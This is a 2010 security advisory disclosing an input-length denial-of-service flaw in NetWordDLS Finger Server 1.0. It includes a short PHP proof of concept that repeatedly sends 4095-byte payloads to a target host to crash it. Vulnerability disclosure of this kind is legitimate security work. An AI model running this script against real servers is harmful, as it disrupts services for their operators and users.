[DCA-0009] - NetWordDLS Finger Server Denial of Service

[DCA-0009 - NetWordDLS Finger Server Denial of Service]

[Software]

• NetWordDLS Finger Server

[Vendor Product Description]

• A windows server application that reports back to users the machine
  name and the current logged on user

[Bug Description]

• Server does not validate the input size leading to a Denial Of
  Service flaw while sending more than 4095 characters to it.

[History]

• Advisory sent to vendor on 06/20/2010.
• No vendor response
• Advisory publised on 08/01/2010

[Impact]

• Low

[Affected Version]

• Finger Server 1.0
• Prior versions may also be vulnerable

[Vendor Reply]

[Codes]

<?php
require_once 'PEAR.php';
require_once 'Net/Socket.php';
require_once 'Net/Finger.php';
$server = $argv[1];
while (1==1) {
$data = Net_Finger::query( $server, $a = str_repeat("\x90",4095)) ;
echo $data ;
}
?>

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[Credits]
Ewerson Guimaraes (Crash)
Pentester/Researcher
DcLabs Security Team
www.dclabs.com.br

[Greetz]
ipax and all DcLabs members.